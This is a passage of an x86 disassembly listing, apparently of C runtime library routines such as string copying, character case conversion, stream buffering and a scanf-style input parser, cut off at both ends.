jnz short locret_420A88 push 0FFFFFFFDh call sub_4206A9 pop ecx mov dword_4DF6D4, 1 locret_420A88: ; CODE XREF: sub_420A6D+7j retn sub_420A6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420A89 proc near ; CODE XREF: sub_41C1A1+2Bp ; sub_41C1A1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DF49C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420AAD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BDC0 add esp, 0Ch jmp short loc_420B10 ; --------------------------------------------------------------------------- loc_420AAD: ; CODE XREF: sub_420A89+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420AF2 mov ecx, [ebp+arg_4] loc_420AB8: ; CODE XREF: sub_420A89+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DF5A1[esi], 4 mov [edi], al jz short loc_420ADC inc edi inc ecx test edx, edx jz short loc_420AE8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420AEE jmp short loc_420AE2 ; --------------------------------------------------------------------------- loc_420ADC: ; CODE XREF: sub_420A89+3Ej inc edi inc ecx test al, al jz short loc_420AF2 loc_420AE2: ; CODE XREF: sub_420A89+51j test edx, edx jnz short loc_420AB8 jmp short loc_420AF2 ; --------------------------------------------------------------------------- loc_420AE8: ; CODE XREF: sub_420A89+44j and byte ptr [edi-1], 0 jmp short loc_420AF2 ; --------------------------------------------------------------------------- loc_420AEE: ; CODE XREF: sub_420A89+4Fj and byte ptr [edi-2], 0 loc_420AF2: ; CODE XREF: sub_420A89+2Aj ; sub_420A89+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420B0D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420B0D: ; CODE XREF: sub_420A89+6Fj mov eax, [ebp+arg_0] loc_420B10: ; CODE XREF: sub_420A89+22j pop edi pop ebp retn sub_420A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B13 proc near ; CODE XREF: sub_41C38D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DE0EC, 0 push ebx jnz short loc_420B3E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420BDC cmp eax, 7Ah jg loc_420BDC sub eax, 20h jmp loc_420BDC ; --------------------------------------------------------------------------- loc_420B3E: ; CODE XREF: sub_420B13+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420B71 cmp dword_43F1F4, 1 jle short loc_420B5E push 2 push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_420B69 ; --------------------------------------------------------------------------- loc_420B5E: ; CODE XREF: sub_420B13+3Dj mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, 2 loc_420B69: ; CODE XREF: sub_420B13+49j test eax, eax jnz short loc_420B71 loc_420B6D: ; CODE XREF: sub_420B13+AFj mov eax, ebx jmp short loc_420BDC ; --------------------------------------------------------------------------- loc_420B71: ; CODE XREF: sub_420B13+34j ; sub_420B13+58j mov edx, off_43EFE8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420B94 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420B9D ; --------------------------------------------------------------------------- loc_420B94: ; CODE XREF: sub_420B13+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420B9D: ; CODE XREF: sub_420B13+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DE0EC call sub_423383 add esp, 20h test eax, eax jz short loc_420B6D cmp eax, 1 jnz short loc_420BCF movzx eax, [ebp+var_4] jmp short loc_420BDC ; --------------------------------------------------------------------------- loc_420BCF: ; CODE XREF: sub_420B13+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420BDC: ; CODE XREF: sub_420B13+14j ; sub_420B13+1Dj ... pop ebx leave retn sub_420B13 endp ; =============== S U B R O U T I N E ======================================= sub_420BDF proc near ; CODE XREF: sub_41C5AC+1Dp ; sub_41DBBE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DE030, ecx mov eax, offset dword_43F300 loc_420BF0: ; CODE XREF: sub_420BDF+1Ej cmp ecx, [eax] jz short loc_420C14 add eax, 8 inc edx cmp eax, offset dword_43F468 jl short loc_420BF0 cmp ecx, 13h jb short loc_420C21 cmp ecx, 24h ja short loc_420C21 mov dword_4DE02C, 0Dh retn ; --------------------------------------------------------------------------- loc_420C14: ; CODE XREF: sub_420BDF+13j mov eax, dword_43F304[edx*8] mov dword_4DE02C, eax retn ; --------------------------------------------------------------------------- loc_420C21: ; CODE XREF: sub_420BDF+23j ; sub_420BDF+28j cmp ecx, 0BCh jb short loc_420C3B cmp ecx, 0CAh mov dword_4DE02C, 8 jbe short locret_420C45 loc_420C3B: ; CODE XREF: sub_420BDF+48j mov dword_4DE02C, 16h locret_420C45: ; CODE XREF: sub_420BDF+5Aj retn sub_420BDF endp ; =============== S U B R O U T I N E ======================================= sub_420C46 proc near ; CODE XREF: sub_41C5D6+8p ; sub_41D9BC+9p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_424660 test eax, eax pop ecx jz short loc_420CCF cmp esi, offset dword_43F5D8 jnz short loc_420C64 xor eax, eax jmp short loc_420C6F ; --------------------------------------------------------------------------- loc_420C64: ; CODE XREF: sub_420C46+18j cmp esi, offset dword_43F5F8 jnz short loc_420CCF push 1 pop eax loc_420C6F: ; CODE XREF: sub_420C46+1Cj inc dword_4DE104 test word ptr [esi+0Ch], 10Ch jnz short loc_420CCF cmp dword_4DE0BC[eax*4], 0 push ebx push edi lea edi, ds:4DE0BCh[eax*4] mov ebx, 1000h jnz short loc_420CB5 push ebx call sub_41BCA5 test eax, eax pop ecx mov [edi], eax jnz short loc_420CB5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420CC2 ; --------------------------------------------------------------------------- loc_420CB5: ; CODE XREF: sub_420C46+4Dj ; sub_420C46+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420CC2: ; CODE XREF: sub_420C46+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420CCF: ; CODE XREF: sub_420C46+10j ; sub_420C46+24j ... xor eax, eax pop esi retn sub_420C46 endp ; =============== S U B R O U T I N E ======================================= sub_420CD3 proc near ; CODE XREF: sub_41C5D6+24p ; sub_41D9BC+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420CFD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420D0E push esi call sub_41E38B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420CFD: ; CODE XREF: sub_420CD3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420D0E push eax call sub_41E38B pop ecx loc_420D0E: ; CODE XREF: sub_420CD3+10j ; sub_420CD3+32j pop esi retn sub_420CD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D10 proc near ; CODE XREF: sub_41CE15+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_421716 mov edi, [ebp+arg_0] jmp short loc_420D3F ; --------------------------------------------------------------------------- loc_420D3A: ; CODE XREF: sub_420D10+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420D3F: ; CODE XREF: sub_420D10+28j cmp dword_43F1F4, 1 jle short loc_420D57 movzx eax, al push 8 push eax call sub_41FD15 pop ecx pop ecx jmp short loc_420D66 ; --------------------------------------------------------------------------- loc_420D57: ; CODE XREF: sub_420D10+36j mov ecx, off_43EFE8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420D66: ; CODE XREF: sub_420D10+45j cmp eax, ebx jz short loc_420DA0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42179D pop ecx pop ecx push eax call sub_421786 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DE70 add esp, 0Ch loc_420D8E: ; CODE XREF: sub_420D10+8Ej test eax, eax jz short loc_420DA0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DE70 pop ecx jmp short loc_420D8E ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: sub_420D10+58j ; sub_420D10+80j cmp byte ptr [esi], 25h jnz loc_421682 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420DD7: ; CODE XREF: sub_420D10+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43F1F4, 1 jle short loc_420DF4 movzx eax, bl push 4 push eax call sub_41FD15 pop ecx pop ecx jmp short loc_420E03 ; --------------------------------------------------------------------------- loc_420DF4: ; CODE XREF: sub_420D10+D3j mov ecx, off_43EFE8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420E03: ; CODE XREF: sub_420D10+E2j test eax, eax jz short loc_420E19 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420E7E ; --------------------------------------------------------------------------- loc_420E19: ; CODE XREF: sub_420D10+F5j cmp ebx, 4Eh jg short loc_420E5C jz short loc_420E7E cmp ebx, 2Ah jz short loc_420E57 cmp ebx, 46h jz short loc_420E7E cmp ebx, 49h jz short loc_420E39 cmp ebx, 4Ch jnz short loc_420E6B inc [ebp+var_D] jmp short loc_420E7E ; --------------------------------------------------------------------------- loc_420E39: ; CODE XREF: sub_420D10+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420E6B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420E6B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420E7E ; --------------------------------------------------------------------------- loc_420E57: ; CODE XREF: sub_420D10+113j inc [ebp+var_E] jmp short loc_420E7E ; --------------------------------------------------------------------------- loc_420E5C: ; CODE XREF: sub_420D10+10Cj cmp ebx, 68h jz short loc_420E78 cmp ebx, 6Ch jz short loc_420E70 cmp ebx, 77h jz short loc_420E73 loc_420E6B: ; CODE XREF: sub_420D10+122j ; sub_420D10+12Dj ... inc [ebp+var_F] jmp short loc_420E7E ; --------------------------------------------------------------------------- loc_420E70: ; CODE XREF: sub_420D10+154j inc [ebp+var_D] loc_420E73: ; CODE XREF: sub_420D10+159j inc [ebp+var_5] jmp short loc_420E7E ; --------------------------------------------------------------------------- loc_420E78: ; CODE XREF: sub_420D10+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420E7E: ; CODE XREF: sub_420D10+107j ; sub_420D10+10Ej ... cmp [ebp+var_F], 0 jz loc_420DD7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420EA3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420EA3: ; CODE XREF: sub_420D10+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420EC1 mov al, [esi] cmp al, 53h jz short loc_420EBD cmp al, 43h jz short loc_420EBD or [ebp+var_5], 0FFh jmp short loc_420EC1 ; --------------------------------------------------------------------------- loc_420EBD: ; CODE XREF: sub_420D10+1A1j ; sub_420D10+1A5j mov [ebp+var_5], 1 loc_420EC1: ; CODE XREF: sub_420D10+19Bj ; sub_420D10+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420EFA cmp esi, 63h jz short loc_420EEB cmp esi, 7Bh jz short loc_420EEB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42179D pop ecx jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EEB: ; CODE XREF: sub_420D10+1C5j ; sub_420D10+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42176C loc_420EF6: ; CODE XREF: sub_420D10+1D9j pop ecx mov [ebp+var_14], eax loc_420EFA: ; CODE XREF: sub_420D10+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420F0A cmp [ebp+var_C], eax jz loc_4216E6 loc_420F0A: ; CODE XREF: sub_420D10+1EFj cmp esi, 6Fh jg loc_421171 jz loc_421423 cmp esi, 63h jz loc_42114E cmp esi, 64h jz loc_421423 jle loc_42119B cmp esi, 67h jle short loc_420F6E cmp esi, 69h jz short loc_420F56 cmp esi, 6Eh jnz loc_42119B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_421651 jmp loc_421677 ; --------------------------------------------------------------------------- loc_420F56: ; CODE XREF: sub_420D10+229j push 64h pop esi loc_420F59: ; CODE XREF: sub_420D10+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4211E3 mov [ebp+var_17], 1 jmp loc_4211E8 ; --------------------------------------------------------------------------- loc_420F6E: ; CODE XREF: sub_420D10+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_420F8A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_420F8F ; --------------------------------------------------------------------------- loc_420F8A: ; CODE XREF: sub_420D10+26Aj cmp ebx, 2Bh jnz short loc_420FA6 loc_420F8F: ; CODE XREF: sub_420D10+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42176C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420FA9 ; --------------------------------------------------------------------------- loc_420FA6: ; CODE XREF: sub_420D10+27Dj mov edi, [ebp+arg_0] loc_420FA9: ; CODE XREF: sub_420D10+294j cmp [ebp+var_20], 0 jz short loc_420FB8 cmp [ebp+var_C], 15Dh jle short loc_420FBF loc_420FB8: ; CODE XREF: sub_420D10+29Dj mov [ebp+var_C], 15Dh loc_420FBF: ; CODE XREF: sub_420D10+2A6j ; sub_420D10+2F2j cmp dword_43F1F4, 1 jle short loc_420FD4 push 4 push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_420FDF ; --------------------------------------------------------------------------- loc_420FD4: ; CODE XREF: sub_420D10+2B6j mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, 4 loc_420FDF: ; CODE XREF: sub_420D10+2C2j test eax, eax jz short loc_421004 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421004 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42176C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420FBF ; --------------------------------------------------------------------------- loc_421004: ; CODE XREF: sub_420D10+2D1j ; sub_420D10+2DBj cmp byte_43F1F8, bl jnz short loc_421072 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421072 inc [ebp+var_4] push edi call sub_42176C mov ebx, eax mov al, byte_43F1F8 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42102D: ; CODE XREF: sub_420D10+360j cmp dword_43F1F4, 1 jle short loc_421042 push 4 push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_42104D ; --------------------------------------------------------------------------- loc_421042: ; CODE XREF: sub_420D10+324j mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, 4 loc_42104D: ; CODE XREF: sub_420D10+330j test eax, eax jz short loc_421072 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421072 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42176C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42102D ; --------------------------------------------------------------------------- loc_421072: ; CODE XREF: sub_420D10+2FAj ; sub_420D10+304j ... cmp [ebp+var_1C], 0 jz loc_42110A cmp ebx, 65h jz short loc_42108A cmp ebx, 45h jnz loc_42110A loc_42108A: ; CODE XREF: sub_420D10+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42110A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42176C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4210B1 mov [esi], al inc esi jmp short loc_4210B6 ; --------------------------------------------------------------------------- loc_4210B1: ; CODE XREF: sub_420D10+39Aj cmp ebx, 2Bh jnz short loc_4210D4 loc_4210B6: ; CODE XREF: sub_420D10+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4210C5 and [ebp+var_C], eax jmp short loc_4210D4 ; --------------------------------------------------------------------------- loc_4210C5: ; CODE XREF: sub_420D10+3AEj ; sub_420D10+3F8j inc [ebp+var_4] push edi call sub_42176C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4210D4: ; CODE XREF: sub_420D10+3A4j ; sub_420D10+3B3j cmp dword_43F1F4, 1 jle short loc_4210E9 push 4 push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_4210F4 ; --------------------------------------------------------------------------- loc_4210E9: ; CODE XREF: sub_420D10+3CBj mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, 4 loc_4210F4: ; CODE XREF: sub_420D10+3D7j test eax, eax jz short loc_42110A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42110A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4210C5 ; --------------------------------------------------------------------------- loc_42110A: ; CODE XREF: sub_420D10+366j ; sub_420D10+374j ... dec [ebp+var_4] push edi push ebx call sub_421786 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_421716 cmp [ebp+var_E], 0 jnz loc_421677 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43F598 add esp, 0Ch jmp loc_421677 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420D10+20Cj cmp [ebp+var_20], eax jnz short loc_42115D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42115D: ; CODE XREF: sub_420D10+441j cmp [ebp+var_5], 0 jle short loc_421167 mov [ebp+var_16], 1 loc_421167: ; CODE XREF: sub_420D10+451j mov edi, offset dword_43F470 jmp loc_42127C ; --------------------------------------------------------------------------- loc_421171: ; CODE XREF: sub_420D10+1FDj mov eax, esi sub eax, 70h jz loc_42141F sub eax, 3 jz loc_42126D dec eax dec eax jz loc_421423 sub eax, 3 jz loc_420F59 sub eax, 3 jz short loc_4211BF loc_42119B: ; CODE XREF: sub_420D10+21Bj ; sub_420D10+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_4216E6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421677 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421677 ; --------------------------------------------------------------------------- loc_4211BF: ; CODE XREF: sub_420D10+489j cmp [ebp+var_5], 0 jle short loc_4211C9 mov [ebp+var_16], 1 loc_4211C9: ; CODE XREF: sub_420D10+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421280 mov eax, edi lea edi, [eax+1] jmp loc_42127C ; --------------------------------------------------------------------------- loc_4211E3: ; CODE XREF: sub_420D10+24Fj cmp ebx, 2Bh jnz short loc_42120A loc_4211E8: ; CODE XREF: sub_420D10+259j dec [ebp+var_C] jnz short loc_4211F9 cmp [ebp+var_20], 0 jz short loc_4211F9 mov [ebp+var_F], 1 jmp short loc_42120A ; --------------------------------------------------------------------------- loc_4211F9: ; CODE XREF: sub_420D10+4DBj ; sub_420D10+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42176C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_42120A: ; CODE XREF: sub_420D10+4D6j ; sub_420D10+4E7j cmp ebx, 30h jnz loc_421458 push [ebp+arg_0] inc [ebp+var_4] call sub_42176C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_421258 cmp bl, 58h jz short loc_421258 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_421242 push 6Fh loc_42123C: ; CODE XREF: sub_420D10+55Bj pop esi jmp loc_421458 ; --------------------------------------------------------------------------- loc_421242: ; CODE XREF: sub_420D10+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421786 pop ecx pop ecx push 30h pop ebx jmp loc_421455 ; --------------------------------------------------------------------------- loc_421258: ; CODE XREF: sub_420D10+517j ; sub_420D10+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42176C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_42123C ; --------------------------------------------------------------------------- loc_42126D: ; CODE XREF: sub_420D10+46Fj cmp [ebp+var_5], 0 jle short loc_421277 mov [ebp+var_16], 1 loc_421277: ; CODE XREF: sub_420D10+561j mov edi, offset dword_43F468 loc_42127C: ; CODE XREF: sub_420D10+45Cj ; sub_420D10+4CEj or [ebp+var_18], 0FFh loc_421280: ; CODE XREF: sub_420D10+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BD60 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_4212A4 cmp byte ptr [edi], 5Dh jnz short loc_4212A4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_4212A7 ; --------------------------------------------------------------------------- loc_4212A4: ; CODE XREF: sub_420D10+584j ; sub_420D10+589j mov dl, [ebp+var_35] loc_4212A7: ; CODE XREF: sub_420D10+592j ; sub_420D10+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_42130C inc edi cmp al, 2Dh jnz short loc_4212F3 test dl, dl jz short loc_4212F3 mov cl, [edi] cmp cl, 5Dh jz short loc_4212F3 inc edi cmp dl, cl jnb short loc_4212C6 mov al, cl jmp short loc_4212CA ; --------------------------------------------------------------------------- loc_4212C6: ; CODE XREF: sub_420D10+5B0j mov al, dl mov dl, cl loc_4212CA: ; CODE XREF: sub_420D10+5B4j cmp dl, al ja short loc_4212EF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_4212D7: ; CODE XREF: sub_420D10+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_4212D7 loc_4212EF: ; CODE XREF: sub_420D10+5BCj xor dl, dl jmp short loc_4212A7 ; --------------------------------------------------------------------------- loc_4212F3: ; CODE XREF: sub_420D10+5A0j ; sub_420D10+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_4212A7 ; --------------------------------------------------------------------------- loc_42130C: ; CODE XREF: sub_420D10+59Bj cmp byte ptr [edi], 0 jz loc_421716 cmp [ebp+var_3C], 7Bh jnz short loc_42131E mov [ebp+arg_4], edi loc_42131E: ; CODE XREF: sub_420D10+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421786 pop ecx pop ecx loc_421335: ; CODE XREF: sub_420D10+6BCj ; sub_420D10+6C4j cmp [ebp+var_20], 0 jz short loc_421349 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_4213E5 loc_421349: ; CODE XREF: sub_420D10+629j inc [ebp+var_4] push edi call sub_42176C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_4213D9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_4213D9 cmp [ebp+var_E], 0 jnz short loc_4213D1 cmp [ebp+var_16], 0 jz short loc_4213C6 mov ecx, off_43EFE8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_4213A5 inc [ebp+var_4] push edi call sub_42176C pop ecx mov [ebp+var_37], al loc_4213A5: ; CODE XREF: sub_420D10+686j push dword_43F1F4 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4246EE mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_4213C9 ; --------------------------------------------------------------------------- loc_4213C6: ; CODE XREF: sub_420D10+673j mov [esi], al inc esi loc_4213C9: ; CODE XREF: sub_420D10+6B4j mov [ebp+var_2C], esi jmp loc_421335 ; --------------------------------------------------------------------------- loc_4213D1: ; CODE XREF: sub_420D10+66Dj inc [ebp+var_30] jmp loc_421335 ; --------------------------------------------------------------------------- loc_4213D9: ; CODE XREF: sub_420D10+649j ; sub_420D10+667j dec [ebp+var_4] push edi push eax call sub_421786 pop ecx pop ecx loc_4213E5: ; CODE XREF: sub_420D10+633j cmp [ebp+var_30], esi jz loc_421716 cmp [ebp+var_E], 0 jnz loc_421677 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421677 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_421417 and word ptr [eax], 0 jmp loc_421677 ; --------------------------------------------------------------------------- loc_421417: ; CODE XREF: sub_420D10+6FCj and byte ptr [eax], 0 jmp loc_421677 ; --------------------------------------------------------------------------- loc_42141F: ; CODE XREF: sub_420D10+466j mov [ebp+var_D], 1 loc_421423: ; CODE XREF: sub_420D10+203j ; sub_420D10+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_421431 mov [ebp+var_17], 1 jmp short loc_421436 ; --------------------------------------------------------------------------- loc_421431: ; CODE XREF: sub_420D10+719j cmp ebx, 2Bh jnz short loc_421458 loc_421436: ; CODE XREF: sub_420D10+71Fj dec [ebp+var_C] jnz short loc_421447 cmp [ebp+var_20], 0 jz short loc_421447 mov [ebp+var_F], 1 jmp short loc_421458 ; --------------------------------------------------------------------------- loc_421447: ; CODE XREF: sub_420D10+729j ; sub_420D10+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42176C pop ecx mov ebx, eax loc_421455: ; CODE XREF: sub_420D10+543j mov [ebp+var_14], ebx loc_421458: ; CODE XREF: sub_420D10+4FDj ; sub_420D10+52Dj ... cmp [ebp+var_30], 0 jz loc_421571 cmp [ebp+var_F], 0 jnz loc_42154F loc_42146C: ; CODE XREF: sub_420D10+82Cj cmp esi, 78h jnz short loc_4214C0 cmp dword_43F1F4, 1 jle short loc_421489 push 80h push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_421496 ; --------------------------------------------------------------------------- loc_421489: ; CODE XREF: sub_420D10+768j mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, 80h loc_421496: ; CODE XREF: sub_420D10+777j test eax, eax jz loc_421541 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4247C0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_421735 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_421513 ; --------------------------------------------------------------------------- loc_4214C0: ; CODE XREF: sub_420D10+75Fj cmp dword_43F1F4, 1 jle short loc_4214D5 push 4 push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_4214E0 ; --------------------------------------------------------------------------- loc_4214D5: ; CODE XREF: sub_420D10+7B7j mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, 4 loc_4214E0: ; CODE XREF: sub_420D10+7C3j test eax, eax jz short loc_421541 cmp esi, 6Fh jnz short loc_4214FE cmp ebx, 38h jge short loc_421541 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4247C0 jmp short loc_42150D ; --------------------------------------------------------------------------- loc_4214FE: ; CODE XREF: sub_420D10+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call 